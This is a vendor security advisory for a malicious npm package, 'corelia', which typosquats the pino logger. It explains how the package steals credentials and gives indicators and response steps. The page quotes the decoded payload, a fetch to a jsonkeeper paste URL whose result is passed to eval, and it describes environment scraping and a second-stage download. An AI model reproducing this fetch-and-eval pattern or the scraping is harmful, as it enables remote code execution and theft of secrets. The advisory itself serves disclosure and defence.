NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
Malicious package

corelianpm

Advisory published Updated

corelia is a confirmed malicious npm package (MAL-2026-4536) that typosquats a legitimate package to trick installs (malicious version 4.1.12). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in corelia (npm)

MAL-2026-4536
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall corelia

What this malware does

The package impersonates the popular pino logger (README header 'corelia (Pino)', homepage https://getpino.io, main file pino.js, npm version badge pointing at pino, mimicked API and keywords). On require, lib/writer.js base64-decodes a string and passes it to eval(); the decoded payload calls fetch('https://jsonkeeper.com/b/0DWFC').then(r=>r.json()).then(d=>{eval(d.ret)}), executing arbitrary JavaScript fetched from an anonymous, mutable JSON paste host with no integrity verification. Immediately before the eval, the module assembles a data object spreading the entire process.env plus os.hostname(), os.userInfo().username, os.platform(), and non-internal MAC addresses, available to the eval'd payload via closure. A second hex-encoded string array decodes to ['axios','get','https://www.jsonkeeper.com/b/HY6M6','then'], staging a second-stage axios GET to another jsonkeeper paste. Any consumer that does require('corelia') triggers bulk environment scraping and remote-payload execution.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged
4.1.12

Indicators of compromise (SHA-256)

d2b637971f597ba9572b4cecfab0de4981d19620d585b1958b1bb37b004fae8f
b8d7a087876a100fdf3a21646631d19c0ad9d459e6a1f6700799ea49385cbfe2
45046705855f5f69080d00706f1699c5f320c3f8e35904c9b0aee01f72fc06f6

Detection & response playbook

Typosquat
  1. Find it

    Search your lockfiles and build artifacts for corelia (version 4.1.12).

  2. If you installed it — respond

    corelia is a typosquat — you almost certainly intended a legitimately-named package. Remove corelia, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

  3. Did it already run?

    If corelia was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. corelia on npm has been identified as a malicious package (version 4.1.12 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-003218GHSA-fg63-2vqh-93xfRLMA-2026-05035

References

Credits

  • Amazon Inspector · finder
  • ReversingLabs · finder

Detect & block this

O3 blocks corelia-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Explore

corelia (npm) malicious package — MAL-2026-4536 | O3 Security